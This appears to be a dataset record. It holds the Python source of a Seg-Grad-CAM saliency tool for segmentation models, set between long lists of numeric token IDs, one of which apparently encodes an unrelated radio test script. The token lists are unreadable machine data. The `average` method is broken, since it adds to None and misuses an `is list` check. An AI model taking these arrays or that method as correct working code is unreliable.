29900,
29900,
29900,
448,
1286,
29892,
525,
1516,
1495,
13,
4706,
931,
29889,
17059,
29898,
29900,
29889,
29906,
29945,
29897,
13,
4706,
2302,
22361,
29871,
29896,
13,
308,
13,
1753,
19532,
29898,
2798,
29922,
29941,
1125,
13,
1678,
9995,
29925,
3028,
29879,
278,
7155,
322,
14677,
278,
4520,
995,
29889,
910,
1158,
1518,
2658,
13,
1678,
1156,
29871,
29953,
6923,
310,
694,
4520,
22713,
15945,
29908,
13,
1678,
396,
731,
3211,
310,
323,
29990,
2943,
964,
385,
390,
29990,
14282,
29889,
6058,
29923,
366,
341,
17321,
6084,
13,
1678,
396,
607,
14282,
1353,
304,
671,
363,
390,
29990,
29892,
591,
29915,
645,
367,
773,
14282,
29871,
29900,
13,
1678,
396,
14282,
1353,
3987,
3464,
518,
29900,
29892,
29945,
29962,
13,
1678,
396,
278,
14282,
3694,
1304,
2645,
263,
9558,
1016,
29915,
29873,
505,
304,
1993,
13,
1678,
302,
9600,
29889,
3150,
29918,
17697,
29918,
17760,
29898,
29900,
29892,
3211,
29897,
13,
1678,
302,
9600,
29889,
20631,
353,
5852,
29871,
396,
1925,
7155,
964,
390,
29990,
4464,
322,
3081,
701,
13,
13,
1678,
1369,
353,
931,
29889,
3712,
327,
8927,
580,
13,
1678,
1550,
2302,
322,
313,
2230,
29889,
3712,
327,
8927,
580,
448,
1369,
29897,
529,
29871,
29953,
29901,
13,
4706,
565,
302,
9600,
29889,
1384,
7295,
13,
9651,
396,
1596,
4902,
1048,
278,
4520,
18203,
313,
361,
738,
29897,
13,
9651,
1596,
703,
9692,
6571,
6262,
373,
14282,
426,
1012,
13,
18884,
11393,
4830,
29898,
276,
558,
29898,
29876,
9600,
29889,
1384,
25739,
302,
9600,
29889,
17760,
22130,
13,
9651,
396,
22162,
573,
278,
4520,
18203,
29915,
29879,
20092,
13,
9651,
364,
29916,
353,
302,
9600,
29889,
3757,
29894,
580,
29871,
396,
4531,
1503,
13449,
669,
953,
415,
583,
390,
29990,
9338,
5800,
13,
9651,
396,
16120,
385,
938,
29892,
4550,
278,
1347,
3402,
12801,
29875,
29915,
13,
9651,
6835,
353,
2281,
29889,
348,
4058,
877,
29966,
29875,
742,
364,
29916,
29897,
13,
9651,
396,
1596,
278,
871,
2944,
297,
278,
9819,
18761,
515,
13,
9651,
396,
773,
421,
4984,
29889,
348,
4058,
2555,
13,
9651,
1596,
703,
29816,
29901,
24335,
22038,
29901,
6571,
1642,
4830,
29898,
9040,
29961,
29900,
1402,
2062,
29898,
17697,
4961,
13,
9651,
1369,
353,
931,
29889,
3712,
327,
8927,
580,
13,
9651,
2302,
22361,
29871,
29896,
13,
9651,
396,
445,
674,
11621,
297,
1753,
18639,
3428,
2302,
1275,
29871,
29900,
13,
4706,
931,
29889,
17059,
29898,
29900,
29889,
29906,
29945,
29897,
13,
13,
1678,
396,
13622,
6030,
338,
304,
3013,
297,
323,
29990,
4464,
1550,
28132,
13,
1678,
302,
9600,
29889,
20631,
353,
7700,
29871,
396,
1925,
278,
302,
29934,
29943,
29906,
29946,
29931,
29900,
29896,
338,
297,
323,
29990,
4464,
13,
2158,
703,
15945,
29905,
13,
1678,
302,
29934,
29943,
29906,
29946,
29931,
29900,
29896,
12545,
1243,
7790,
29876,
29905,
13,
1678,
7525,
19532,
580,
373,
19870,
29905,
29876,
29905,
13,
1678,
7525,
5835,
580,
373,
22649,
357,
15945,
1159,
13,
13,
6207,
29898,
29896,
29900,
29900,
29897,
13,
29937,
29879,
18398,
580,
2
] |
seggradcam/seggradcam.py | kiraving/SegGradCAM | 47 | 1611425 | <gh_stars>10-100
import numpy as np
import cv2
from keras import backend as K
from skimage import measure
import matplotlib.pyplot as plt
from operator import sub
class SuperRoI: # or rename it to ClassRoI
def __init__(self, image =None):
self.image = image
self.roi = 1
self.fullroi = None
self.i = None
self.j = None
def setRoIij(self):
print("Shape of RoI: ", self.roi.shape)
self.i = np.where(self.roi == 1)[0]
self.j = np.where(self.roi == 1)[1]
print("Lengths of i and j index lists:", len(self.i), len(self.j))
def meshgrid(self):
# mesh for contour
ylist = np.linspace(0, self.image.shape[0], self.image.shape[0])
xlist = np.linspace(0, self.image.shape[1], self.image.shape[1])
return np.meshgrid(xlist, ylist) #returns X,Y
class ClassRoI(SuperRoI):
def __init__(self, model, image, cls):
preds = model.predict(np.expand_dims(image, 0))[0]
max_preds = preds.argmax(axis=-1)
self.image = image
self.roi = np.round(preds[..., cls] * (max_preds == cls)).reshape(image.shape[-3], image.shape[-2])
self.fullroi = self.roi
self.setRoIij()
def connectedComponents(self):
all_labels = measure.label(self.fullroi, background=0)
(values, counts) = np.unique(all_labels * (all_labels != 0), return_counts=True)
print("connectedComponents values, counts: ", values, counts)
return all_labels, values, counts
def largestComponent(self):
all_labels, values, counts = self.connectedComponents()
# find the largest component
ind = np.argmax(counts[values != 0]) + 1 # +1 because indexing starts from 0 for the background
print("argmax: ", ind)
# define RoI
self.roi = (all_labels == ind).astype(int)
self.setRoIij()
def smallestComponent(self):
all_labels, values, counts = self.connectedComponents()
ind = np.argmin(counts[values != 0]) + 1
print("argmin: ", ind) #
self.roi = (all_labels == ind).astype(int)
self.setRoIij()
class PixelRoI(SuperRoI):
def __init__(self, i, j, image):
self.image = image
self.roi = np.zeros((image.shape[-3], image.shape[-2]))
self.roi[i, j] = 1
self.i = i
self.j = j
class BiasRoI(SuperRoI):
def __init__(self, next_batch, image_id):
self.id = image_id
self.image = next_batch[0][image_id][..., 0]
self.gt_mask = next_batch[1][image_id] # shape: (64,64,11)
# self.tile_dict = next_batch[2][image_id]#[...,0]
self.biased_tile = next_batch[2][image_id]['biased_tile'][..., 0]
self.is_biased = next_batch[2][image_id]['is_biased'] # True or False
self.background = next_batch[2][image_id]['background'][..., 0]
self.digit_with_infill = next_batch[2][image_id]['digit_with_infill'][..., 0]
self.biased_mask = self.biased_tile * self.background
def biasedMask(self):
plt.title('Biased mask for image ' + str(self.id))
plt.imshow(self.biased_mask)
plt.colorbar()
return self.biased_mask
# save?
def unbiasedMask(self):
c = sub(self.background, self.biased_tile)
print(c.shape)
c = np.ones(c.shape) * [c > 0] # np.max(c,0)
B = c[0]
plt.title('Unbiased mask for image ' + str(self.id))
plt.imshow(B)
plt.colorbar()
return B
def biasedTextureContour(self):
# TODO: draw the contour around the image border where the biased mask is
# mesh for contour
X, Y = self.meshgrid()
plt.figure()
plt.imshow(self.image, cmap='gray')
plt.contour(X, Y, self.biased_mask) # colors=c)
plt.title('Contour for the biased mask')
plt.xlabel('x')
plt.ylabel('y')
plt.show()
class SegGradCAM:
"""Seg-Grad-CAM method for explanations of predicted segmentation masks.
Seg-Grad-CAM is applied locally to produce heatmaps showing the relevance of a set of pixels
or an individual pixel for semantic segmentation.
"""
def __init__(self, input_model, image, cls=-1, prop_to_layer='activation_9', prop_from_layer='last',
roi=SuperRoI(), # 1, #default: explain all the pixels that belong to cls
normalize=True, abs_w=False, posit_w=False):
self.input_model = input_model
self.image = image
#if cls == None:
# TODO: add option cls=-1 (predicted class) and cls=None (gt class)
# TODO print model's confidence (probability) in prediction
self.cls = cls # class
# prop_from_layer is the layer with logits prior to the last activation function
if prop_from_layer == 'last':
self.prop_from_layer = self.input_model.layers[-1].name
else:
self.prop_from_layer = prop_from_layer
self.prop_to_layer = prop_to_layer # an intermediate layer, typically of the bottleneck layers
self.roi = roi # M, a set of pixel indices of interest in the output mask.
self.normalize = normalize # [True, False] normalize the saliency map L_c
self.abs_w = abs_w # if True, absolute function is applied to alpha_c
self.posit_w = posit_w # if True, ReLU is applied to alpha_c
self.alpha_c = None # alpha_c, weights for importance of feature maps
self.A = None # A, feature maps from the intermediate prop_to_layer
self.grads_val = None # gradients of the logits y with respect to all pixels of each feature map 𝐴^𝑘
self.cam = None # activation map L_c
self.cam_max = None
def featureMapsGradients(self):
""" This method corresponds to the formula:
Sum [(d Sum y^c_ij) / (d A^k_uv)] , where
y^c_ij are logits for every pixel 𝑥_𝑖𝑗 and class c. Pixels x_ij are defined by the region of interest M.
A^k is a feature map number k. u,v - indexes of pixels of 𝐴^𝑘.
Return: A, gradients of the logits y with respect to all pixels of each feature map 𝐴^𝑘
"""
preprocessed_input = np.expand_dims(self.image, 0)
y_c = self.input_model.get_layer(self.prop_from_layer).output[
..., self.cls] * self.roi.roi # Mask the region of interest
#print("y_c: ", type(y_c), np.array(y_c))
conv_output = self.input_model.get_layer(self.prop_to_layer).output
#print("conv_output: ", type(conv_output), np.array(conv_output))
grads = K.gradients(y_c, conv_output)[0]
#print("grads: ", type(grads), grads)
# Normalize if necessary
# grads = normalize(grads)
gradient_function = K.function([self.input_model.input], [conv_output, grads])
output, grads_val = gradient_function([preprocessed_input])
self.A, self.grads_val = output[0, :], grads_val[0, :, :, :]
return self.A, self.grads_val
def gradientWeights(self):
"""Defines a matrix of alpha^k_c. Each alpha^k_c denotes importance (weights) of a feature map A^k for class c.
If abs_w=True, absolute values of the matrix are processed and returned as weights.
If posit_w=True, ReLU is applied to the matrix."""
self.alpha_c = np.mean(self.grads_val, axis=(0, 1))
if self.abs_w:
self.alpha_c = abs(self.alpha_c)
if self.posit_w:
self.alpha_c = np.maximum(self.alpha_c, 0)
return self.alpha_c
def activationMap(self):
"""The last step to get the activation map. Should be called after outputGradients and gradientWeights."""
# weighted sum of feature maps: sum of alpha^k_c * A^k
cam = np.dot(self.A, self.alpha_c) # *abs(grads_val) or max(grads_val,0)
img_dim = self.image.shape[:2]
cam = cv2.resize(cam, img_dim[::-1], cv2.INTER_LINEAR)
# apply ReLU to te sum
cam = np.maximum(cam, 0)
# normalize non-negative weighted sum
self.cam_max = cam.max()
if self.cam_max != 0 and self.normalize:
cam = cam / self.cam_max
self.cam = cam
return self.cam
def SGC(self):
"""Get the activation map"""
_, _ = self.featureMapsGradients()
_ = self.gradientWeights()
return self.activationMap()
def __sub__(self, otherSGC):
"""Subtraction experiment"""
pass
def average(self, otherSGCs):
"""average several seg-grad-cams"""
new_sgc = self.copy()
cam = self.SGC()
cams = [cam]
if otherSGCs is list:
for other in otherSGCs:
cams.append(other.SGC())
else:
cams.append(otherSGCs)
aver = None
for cc in cams:
aver += cc
print("aver shape: ", aver.shape)
new_sgc.cam = aver/len(cams)
return new_sgc
def sortbyMax(self):
"""sort a list of seg-grad-cams by their maximum in activation map before normalization
for f in sorted(listofSGCs, key = lambda x: x.sortbyMax()):
print(f.image, f.cls, f.prop_to_layer, f.roi, f.cam_max)
"""
return self.cam_max
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29900,
29899,
29896,
29900,
29900,
13,
5215,
12655,
408,
7442,
13,
5215,
13850,
29906,
13,
3166,
13023,
294,
1053,
14998,
408,
476,
13,
3166,
2071,
3027,
1053,
5645,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
3166,
5455,
1053,
1014,
13,
13,
13,
1990,
5670,
9588,
29902,
29901,
29871,
396,
470,
19508,
372,
304,
4134,
9588,
29902,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1967,
353,
8516,
1125,
13,
4706,
1583,
29889,
3027,
353,
1967,
13,
4706,
1583,
29889,
307,
29875,
353,
29871,
29896,
13,
4706,
1583,
29889,
8159,
307,
29875,
353,
6213,
13,
4706,
1583,
29889,
29875,
353,
6213,
13,
4706,
1583,
29889,
29926,
353,
6213,
13,
13,
1678,
822,
731,
9588,
29902,
823,
29898,
1311,
1125,
13,
4706,
1596,
703,
24111,
310,
1528,
29902,
29901,
9162,
1583,
29889,
307,
29875,
29889,
12181,
29897,
13,
4706,
1583,
29889,
29875,
353,
7442,
29889,
3062,
29898,
1311,
29889,
307,
29875,
1275,
29871,
29896,
9601,
29900,
29962,
13,
4706,
1583,
29889,
29926,
353,
7442,
29889,
3062,
29898,
1311,
29889,
307,
29875,
1275,
29871,
29896,
9601,
29896,
29962,
13,
4706,
1596,
703,
6513,
29879,
310,
474,
322,
432,
2380,
8857,
29901,
613,
7431,
29898,
1311,
29889,
29875,
511,
7431,
29898,
1311,
29889,
29926,
876,
13,
13,
1678,
822,
27716,
7720,
29898,
1311,
1125,
13,
4706,
396,
27716,
363,
640,
473,
13,
4706,
343,
1761,
353,
7442,
29889,
1915,
3493,
29898,
29900,
29892,
1583,
29889,
3027,
29889,
12181,
29961,
29900,
1402,
1583,
29889,
3027,
29889,
12181,
29961,
29900,
2314,
13,
4706,
921,
1761,
353,
7442,
29889,
1915,
3493,
29898,
29900,
29892,
1583,
29889,
3027,
29889,
12181,
29961,
29896,
1402,
1583,
29889,
3027,
29889,
12181,
29961,
29896,
2314,
13,
4706,
736,
7442,
29889,
4467,
29882,
7720,
29898,
29916,
1761,
29892,
343,
1761,
29897,
396,
18280,
1060,
29892,
29979,
13,
13,
13,
1990,
4134,
9588,
29902,
29898,
19111,
9588,
29902,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1904,
29892,
1967,
29892,
1067,
29879,
1125,
13,
4706,
4450,
29879,
353,
1904,
29889,
27711,
29898,
9302,
29889,
18837,
29918,
6229,
29879,
29898,
3027,
29892,
29871,
29900,
876,
29961,
29900,
29962,
13,
4706,
4236,
29918,
11965,
29879,
353,
4450,
29879,
29889,
1191,
3317,
29898,
8990,
10457,
29896,
29897,
13,
4706,
1583,
29889,
3027,
353,
1967,
13,
4706,
1583,
29889,
307,
29875,
353,
7442,
29889,
14486,
29898,
11965,
29879,
29961,
16361,
1067,
29879,
29962,
334,
313,
3317,
29918,
11965,
29879,
1275,
1067,
29879,
8106,
690,
14443,
29898,
3027,
29889,
12181,
14352,
29941,
1402,
1967,
29889,
12181,
14352,
29906,
2314,
13,
4706,
1583,
29889,
8159,
307,
29875,
353,
1583,
29889,
307,
29875,
13,
4706,
1583,
29889,
842,
9588,
29902,
823,
580,
13,
13,
1678,
822,
6631,
25503,
29898,
1311,
1125,
13,
4706,
599,
29918,
21134,
353,
5645,
29889,
1643,
29898,
1311,
29889,
8159,
307,
29875,
29892,
3239,
29922,
29900,
29897,
13,
4706,
313,
5975,
29892,
18139,
29897,
353,
7442,
29889,
13092,
29898,
497,
29918,
21134,
334,
313,
497,
29918,
21134,
2804,
29871,
29900,
511,
736,
29918,
2798,
29879,
29922,
5574,
29897,
13,
4706,
1596,
703,
18045,
25503,
1819,
29892,
18139,
29901,
9162,
1819,
29892,
18139,
29897,
13,
4706,
736,
599,
29918,
21134,
29892,
1819,
29892,
18139,
13,
13,
1678,
822,
10150,
5308,
29898,
1311,
1125,
13,
4706,
599,
29918,
21134,
29892,
1819,
29892,
18139,
353,
1583,
29889,
18045,
25503,
580,
13,
4706,
396,
1284,
278,
10150,
4163,
13,
4706,
1399,
353,
7442,
29889,
1191,
3317,
29898,
2798,
29879,
29961,
5975,
2804,
29871,
29900,
2314,
718,
29871,
29896,
29871,
396,
718,
29896,
1363,
26190,
8665,
515,
29871,
29900,
363,
278,
3239,
13,
4706,
1596,
703,
1191,
3317,
29901,
9162,
1399,
29897,
13,
4706,
396,
4529,
1528,
29902,
13,
4706,
1583,
29889,
307,
29875,
353,
313,
497,
29918,
21134,
1275,
1399,
467,
579,
668,
29898,
524,
29897,
13,
4706,
1583,
29889,
842,
9588,
29902,
823,
580,
13,
13,
1678,
822,
19087,
5308,
29898,
1311,
1125,
13,
4706,
599,
29918,
21134,
29892,
1819,
29892,
18139,
353,
1583,
29889,
18045,
25503,
580,
13,
4706,
1399,
353,
7442,
29889,
1191,
1195,
29898,
2798,
29879,
29961,
5975,
2804,
29871,
29900,
2314,
718,
29871,
29896,
13,
4706,
1596,
703,
1191,
1195,
29901,
9162,
1399,
29897,
29871,
396,
13,
4706,
1583,
29889,
307,
29875,
353,
313,
497,
29918,
21134,
1275,
1399,
467,
579,
668,
29898,
524,
29897,
13,
4706,
1583,
29889,
842,
9588,
29902,
823,
580,
13,
13,
13,
1990,
349,
15711,
9588,
29902,
29898,
19111,
9588,
29902,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
474,
29892,
432,
29892,
1967,
1125,
13,
4706,
1583,
29889,
3027,
353,
1967,
13,
4706,
1583,
29889,
307,
29875,
353,
7442,
29889,
3298,
359,
3552,
3027,
29889,
12181,
14352,
29941,
1402,
1967,
29889,
12181,
14352,
29906,
12622,
13,
4706,
1583,
29889,
307,
29875,
29961,
29875,
29892,
432,
29962,
353,
29871,
29896,
13,
4706,
1583,
29889,
29875,
353,
474,
13,
4706,
1583,
29889,
29926,
353,
432,
13,
13,
13,
1990,
350,
3173,
9588,
29902,
29898,
19111,
9588,
29902,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
2446,
29918,
16175,
29892,
1967,
29918,
333,
1125,
13,
4706,
1583,
29889,
333,
353,
1967,
29918,
333,
13,
4706,
1583,
29889,
3027,
353,
2446,
29918,
16175,
29961,
29900,
3816,
3027,
29918,
333,
3816,
16361,
29871,
29900,
29962,
13,
4706,
1583,
29889,
4141,
29918,
13168,
353,
2446,
29918,
16175,
29961,
29896,
3816,
3027,
29918,
333,
29962,
29871,
396,
8267,
29901,
313,
29953,
29946,
29892,
29953,
29946,
29892,
29896,
29896,
29897,
13,
4706,
396,
1583,
29889,
29873,
488,
29918,
8977,
353,
2446,
29918,
16175,
29961,
29906,
3816,
3027,
29918,
333,
29962,
29937,
29961,
16361,
29900,
29962,
13,
4706,
1583,
29889,
5365,
1463,
29918,
29873,
488,
353,
2446,
29918,
16175,
29961,
29906,
3816,
3027,
29918,
333,
22322,
5365,
1463,
29918,
29873,
488,
2033,
29961,
16361,
29871,
29900,
29962,
13,
4706,
1583,
29889,
275,
29918,
5365,
1463,
353,
2446,
29918,
16175,
29961,
29906,
3816,
3027,
29918,
333,
22322,
275,
29918,
5365,
1463,
2033,
29871,
396,
5852,
470,
7700,
13,
4706,
1583,
29889,
7042,
353,
2446,
29918,
16175,
29961,
29906,
3816,
3027,
29918,
333,
22322,
7042,
2033,
29961,
16361,
29871,
29900,
29962,
13,
4706,
1583,
29889,
26204,
29918,
2541,
29918,
262,
5589,
353,
2446,
29918,
16175,
29961,
29906,
3816,
3027,
29918,
333,
22322,
26204,
29918,
2541,
29918,
262,
5589,
2033,
29961,
16361,
29871,
29900,
29962,
13,
13,
4706,
1583,
29889,
5365,
1463,
29918,
13168,
353,
1583,
29889,
5365,
1463,
29918,
29873,
488,
334,
1583,
29889,
7042,
13,
13,
1678,
822,
4768,
1463,
19832,
29898,
1311,
1125,
13,
4706,
14770,
29889,
3257,
877,
20517,
1463,
11105,
363,
1967,
525,
718,
851,
29898,
1311,
29889,
333,
876,
13,
4706,
14770,
29889,
326,
4294,
29898,
1311,
29889,
5365,
1463,
29918,
13168,
29897,
13,
4706,
14770,
29889,
2780,
1646,
580,
13,
4706,
736,
1583,
29889,
5365,
1463,
29918,
13168,
13,
4706,
396,
4078,
29973,
13,
13,
1678,
822,
443,
5365,
1463,
19832,
29898,
1311,
1125,
13,
13,
4706,
274,
353,
1014,
29898,
1311,
29889,
7042,
29892,
1583,
29889,
5365,
1463,
29918,
29873,
488,
29897,
13,
4706,
1596,
29898,
29883,
29889,
12181,
29897,
13,
4706,
274,
353,
7442,
29889,
2873,
29898,
29883,
29889,
12181,
29897,
334,
518,
29883,
1405,
29871,
29900,
29962,
29871,
396,
7442,
29889,
3317,
29898,
29883,
29892,
29900,
29897,
13,
4706,
350,
353,
274,
29961,
29900,
29962,
13,
4706,
14770,
29889,
3257,
877,
2525,
5365,
1463,
11105,
363,
1967,
525,
718,
851,
29898,
1311,
29889,
333,
876,
13,
4706,
14770,
29889,
326,
4294,
29898,
29933,
29897,
13,
4706,
14770,
29889,
2780,
1646,
580,
13,
4706,
736,
350,
13,
13,
1678,
822,
4768,
1463,
21898,
1323,
473,
29898,
1311,
1125,
13,
4706,
396,
14402,
29901,
4216,
278,
640,
473,
2820,
278,
1967,
5139,
988,
278,
4768,
1463,
11105,
338,
13,
13,
4706,
396,
27716,
363,
640,
473,
13,
4706,
1060,
29892,
612,
353,
1583,
29889,
4467,
29882,
7720,
580,
13,
4706,
14770,
29889,
4532,
580,
13,
4706,
14770,
29889,
326,
4294,
29898,
1311,
29889,
3027,
29892,
274,
1958,
2433,
21012,
1495,
13,
4706,
14770,
29889,
1285,
473,
29898,
29990,
29892,
612,
29892,
1583,
29889,
5365,
1463,
29918,
13168,
29897,
29871,
396,
11955,
29922,
29883,
29897,
13,
13,
4706,
14770,
29889,
3257,
877,
1323,
473,
363,
278,
4768,
1463,
11105,
1495,
13,
13,
4706,
14770,
29889,
29916,
1643,
877,
29916,
1495,
13,
4706,
14770,
29889,
29891,
1643,
877,
29891,
1495,
13,
4706,
14770,
29889,
4294,
580,
13,
13,
13,
1990,
6667,
25584,
29907,
5194,
29901,
13,
1678,
9995,
17669,
29899,
25584,
29899,
29907,
5194,
1158,
363,
7309,
800,
310,
25383,
10768,
362,
11105,
29879,
29889,
13,
1678,
6667,
29899,
25584,
29899,
29907,
5194,
338,
7436,
12430,
304,
7738,
12871,
10339,
6445,
278,
29527,
749,
310,
263,
731,
310,
17036,
13,
1678,
470,
385,
5375,
15526,
363,
28837,
10768,
362,
29889,
13,
1678,
9995,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1881,
29918,
4299,
29892,
1967,
29892,
1067,
29879,
10457,
29896,
29892,
3107,
29918,
517,
29918,
13148,
2433,
11236,
362,
29918,
29929,
742,
3107,
29918,
3166,
29918,
13148,
2433,
4230,
742,
13,
462,
14100,
29922,
19111,
9588,
29902,
3285,
29871,
396,
29871,
29896,
29892,
396,
4381,
29901,
5649,
599,
278,
17036,
393,
6852,
304,
1067,
29879,
13,
462,
4226,
675,
29922,
5574,
29892,
6425,
29918,
29893,
29922,
8824,
29892,
13686,
29918,
29893,
29922,
8824,
1125,
13,
13,
4706,
1583,
29889,
2080,
29918,
4299,
353,
1881,
29918,
4299,
13,
4706,
1583,
29889,
3027,
353,
1967,
13,
4706,
396,
361,
1067,
29879,
1275,
6213,
29901,
13,
4706,
396,
14402,
29901,
788,
2984,
1067,
29879,
10457,
29896,
313,
11965,
18186,
770,
29897,
322,
1067,
29879,
29922,
8516,
313,
4141,
770,
29897,
13,
4706,
396,
14402,
1596,
1904,
29915,
29879,
16420,
313,
22795,
3097,
29897,
297,
18988,
13,
4706,
1583,
29889,
25932,
353,
1067,
29879,
29871,
396,
770,
13,
4706,
396,
3107,
29918,
3166,
29918,
13148,
338,
278,
7546,
411,
1480,
1169,
7536,
304,
278,
1833,
26229,
740,
13,
4706,
565,
3107,
29918,
3166,
29918,
13148,
1275,
525,
4230,
2396,
13,
9651,
1583,
29889,
7728,
29918,
3166,
29918,
13148,
353,
1583,
29889,
2080,
29918,
4299,
29889,
29277,
14352,
29896,
1822,
978,
13,
4706,
1683,
29901,
13,
9651,
1583,
29889,
7728,
29918,
3166,
29918,
13148,
353,
3107,
29918,
3166,
29918,
13148,
13,
4706,
1583,
29889,
7728,
29918,
517,
29918,
13148,
353,
3107,
29918,
517,
29918,
13148,
29871,
396,
385,
19697,
7546,
29892,
12234,
310,
278,
18046,
29880,
1600,
384,
15359,
13,
13,
4706,
1583,
29889,
307,
29875,
353,
14100,
29871,
396,
341,
29892,
263,
731,
310,
15526,
16285,
310,
4066,
297,
278,
1962,
11105,
29889,
13,
4706,
1583,
29889,
8945,
675,
353,
4226,
675,
29871,
396,
518,
5574,
29892,
7700,
29962,
4226,
675,
278,
4497,
13396,
2910,
365,
29918,
29883,
13,
4706,
1583,
29889,
6897,
29918,
29893,
353,
6425,
29918,
29893,
29871,
396,
565,
5852,
29892,
8380,
740,
338,
7436,
304,
15595,
29918,
29883,
13,
4706,
1583,
29889,
1066,
277,
29918,
29893,
353,
13686,
29918,
29893,
29871,
396,
565,
5852,
29892,
830,
29931,
29965,
338,
7436,
304,
15595,
29918,
29883,
13,
13,
4706,
1583,
29889,
2312,
29918,
29883,
353,
6213,
29871,
396,
15595,
29918,
29883,
29892,
18177,
363,
13500,
310,
4682,
11053,
13,
4706,
1583,
29889,
29909,
353,
6213,
29871,
396,
319,
29892,
4682,
11053,
515,
278,
19697,
3107,
29918,
517,
29918,
13148,
13,
4706,
1583,
29889,
5105,
29879,
29918,
791,
353,
6213,
29871,
396,
4656,
10070,
310,
278,
1480,
1169,
343,
411,
3390,
304,
599,
17036,
310,
1269,
4682,
2910,
29871,
243,
160,
147,
183,
29985,
243,
160,
148,
155,
13,
4706,
1583,
29889,
11108,
353,
6213,
29871,
396,
26229,
2910,
365,
29918,
29883,
13,
13,
4706,
1583,
29889,
11108,
29918,
3317,
353,
6213,
13,
13,
1678,
822,
4682,
29924,
2547,
25584,
10070,
29898,
1311,
1125,
13,
13,
4706,
9995,
910,
1158,
16161,
304,
278,
7063,
29901,
13,
4706,
6991,
17288,
29881,
6991,
343,
29985,
29883,
29918,
823,
29897,
847,
313,
29881,
319,
29985,
29895,
29918,
4090,
4638,
1919,
988,
13,
4706,
343,
29985,
29883,
29918,
823,
526,
1480,
1169,
363,
1432,
15526,
29871,
243,
160,
148,
168,
29918,
243,
160,
148,
153,
243,
160,
148,
154,
322,
770,
274,
29889,
349,
861,
1379,
921,
29918,
823,
526,
3342,
491,
278,
5120,
310,
4066,
341,
29889,
13,
4706,
319,
29985,
29895,
338,
263,
4682,
2910,
1353,
413,
29889,
318,
29892,
29894,
448,
18111,
310,
17036,
310,
29871,
243,
160,
147,
183,
29985,
243,
160,
148,
155,
29889,
13,
13,
4706,
7106,
29901,
319,
29892,
4656,
10070,
310,
278,
1480,
1169,
343,
411,
3390,
304,
599,
17036,
310,
1269,
4682,
2910,
29871,
243,
160,
147,
183,
29985,
243,
160,
148,
155,
13,
4706,
9995,
13,
4706,
758,
5014,
287,
29918,
2080,
353,
7442,
29889,
18837,
29918,
6229,
29879,
29898,
1311,
29889,
3027,
29892,
29871,
29900,
29897,
13,
4706,
343,
29918,
29883,
353,
1583,
29889,
2080,
29918,
4299,
29889,
657,
29918,
13148,
29898,
1311,
29889,
7728,
29918,
3166,
29918,
13148,
467,
4905,
29961,
13,
462,
29871,
2023,
29892,
1583,
29889,
25932,
29962,
334,
1583,
29889,
307,
29875,
29889,
307,
29875,
29871,
396,
341,
1278,
278,
5120,
310,
4066,
13,
4706,
396,
2158,
703,
29891,
29918,
29883,
29901,
9162,
1134,
29898,
29891,
29918,
29883,
511,
7442,
29889,
2378,
29898,
29891,
29918,
29883,
876,
13,
4706,
7602,
29918,
4905,
353,
1583,
29889,
2080,
29918,
4299,
29889,
657,
29918,
13148,
29898,
1311,
29889,
7728,
29918,
517,
29918,
13148,
467,
4905,
13,
4706,
396,
2158,
703,
20580,
29918,
4905,
29901,
9162,
1134,
29898,
20580,
29918,
4905,
511,
7442,
29889,
2378,
29898,
20580,
29918,
4905,
876,
13,
4706,
4656,
29879,
353,
476,
29889,
5105,
10070,
29898,
29891,
29918,
29883,
29892,
7602,
29918,
4905,
9601,
29900,
29962,
13,
4706,
396,
2158,
703,
5105,
29879,
29901,
9162,
1134,
29898,
5105,
29879,
511,
4656,
29879,
29897,
13,
13,
4706,
396,
21981,
675,
565,
5181,
13,
4706,
396,
4656,
29879,
353,
4226,
675,
29898,
5105,
29879,
29897,
13,
4706,
16030,
29918,
2220,
353,
476,
29889,
2220,
4197,
1311,
29889,
2080,
29918,
4299,
29889,
2080,
1402,
518,
20580,
29918,
4905,
29892,
4656,
29879,
2314,
13,
4706,
1962,
29892,
4656,
29879,
29918,
791,
353,
16030,
29918,
2220,
4197,
1457,
5014,
287,
29918,
2080,
2314,
13,
4706,
1583,
29889,
29909,
29892,
1583,
29889,
5105,
29879,
29918,
791,
353,
1962,
29961,
29900,
29892,
584,
1402,
4656,
29879,
29918,
791,
29961,
29900,
29892,
584,
29892,
584,
29892,
584,
29962,
13,
13,
4706,
736,
1583,
29889,
29909,
29892,
1583,
29889,
5105,
29879,
29918,
791,
13,
13,
1678,
822,
16030,
4806,
5861,
29898,
1311,
1125,
13,
4706,
9995,
3206,
1475,
263,
4636,
310,
15595,
29985,
29895,
29918,
29883,
29889,
7806,
15595,
29985,
29895,
29918,
29883,
20169,
13500,
313,
705,
5861,
29897,
310,
263,
4682,
2910,
319,
29985,
29895,
363,
770,
274,
29889,
13,
4706,
960,
6425,
29918,
29893,
29922,
5574,
29892,
8380,
1819,
310,
278,
4636,
526,
19356,
322,
4133,
408,
18177,
29889,
13,
4706,
960,
13686,
29918,
29893,
29922,
5574,
29892,
830,
29931,
29965,
338,
7436,
304,
278,
4636,
1213,
15945,
13,
4706,
1583,
29889,
2312,
29918,
29883,
353,
7442,
29889,
12676,
29898,
1311,
29889,
5105,
29879,
29918,
791,
29892,
9685,
7607,
29900,
29892,
29871,
29896,
876,
13,
4706,
565,
1583,
29889,
6897,
29918,
29893,
29901,
13,
9651,
1583,
29889,
2312,
29918,
29883,
353,
6425,
29898,
1311,
29889,
2312,
29918,
29883,
29897,
13,
4706,
565,
1583,
29889,
1066,
277,
29918,
29893,
29901,
13,
9651,
1583,
29889,
2312,
29918,
29883,
353,
7442,
29889,
27525,
398,
29898,
1311,
29889,
2312,
29918,
29883,
29892,
29871,
29900,
29897,
13,
13,
4706,
736,
1583,
29889,
2312,
29918,
29883,
13,
13,
1678,
822,
26229,
3388,
29898,
1311,
1125,
13,
4706,
9995,
1576,
1833,
4331,
304,
679,
278,
26229,
2910,
29889,
10575,
367,
2000,
1156,
1962,
25584,
10070,
322,
16030,
4806,
5861,
1213,
15945,
13,
4706,
396,
7688,
287,
2533,
310,
4682,
11053,
29901,
2533,
310,
15595,
29985,
29895,
29918,
29883,
334,
319,
29985,
29895,
13,
4706,
3949,
353,
7442,
29889,
6333,
29898,
1311,
29889,
29909,
